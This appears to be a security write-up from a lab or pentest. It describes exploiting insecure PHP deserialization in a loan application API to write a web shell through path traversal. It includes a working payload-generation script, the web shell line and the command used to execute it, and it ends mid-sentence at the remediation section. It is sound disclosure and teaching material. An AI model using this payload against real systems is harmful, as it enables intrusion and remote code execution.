After spending hours exploring different parts of the application and trying various techniques, I eventually made a breakthrough on the loan application API. While analyzing the requests made when applying for a loan, I noticed that one of the fields, type, contained a Base64-encoded string. Curious, I decoded it and found that it was a serialized PHP object, specifically of the class LogWrite. This object held two properties: logfile and logdata.

This immediately stood out as a potential entry point for PHP Object Injection (POI). Even without seeing the backend code, the presence of a serialized object being passed directly in a user-supplied field is a major red flag. It suggested that the backend might be blindly unserializing the input, which can be incredibly dangerous—especially if the class includes a magic method like __destruct() that gets automatically executed when the object goes out of scope.
From the name LogWrite, I guessed that this class might be responsible for logging activity, and perhaps writes the logdata property to a file. If this guess was correct, and the class lets us control both the file name (logfile) and its contents (logdata), then in theory we could write arbitrary PHP code to a file somewhere in the web root—effectively planting a web shell.
To test this, I crafted a serialized payload locally using PHP, embedding a classic web shell into the logdata and setting logfile to something like ../../../shell.php in hopes of reaching the web root. Here’s the script I used:
<?php
class LogWrite
{
public $logfile = null;
public $logdata = null;
public function __construct($logfile, $logdata)
{
if ($logfile !== "") {
$this->logfile = $logfile;
}
$this->logdata = $logdata;
}
}
$object = new LogWrite("../../../shell.php", "<?php system(\$_GET['cmd']); ?>");
$serialized = serialize($object);
$base64 = base64_encode($serialized);
echo $base64 . "\n";
?>
I then replaced the original Base64 string in the loan request with this new one using Burp Suite, submitted the modified request, and got a success response—no errors, no rejections.


Now the moment of truth: I visited http://localhost/shell.php?cmd=ls. If everything had worked, this should execute the ls command on the server and return the result. And it did.

By chaining together the clues, an unusual Base64 string in the payload, signs of deserialization, and the assumption that the class might write logs to disk, we were able to escalate this into full remote code execution. This is a textbook case of insecure deserialization leading to a file write primitive, ultimately resulting in a web shell.
This is a Critical vulnerability (CVSS ~9.8) due to remote code execution risk via insecure deserialization and arbitrary file write.
As a remedy, we should: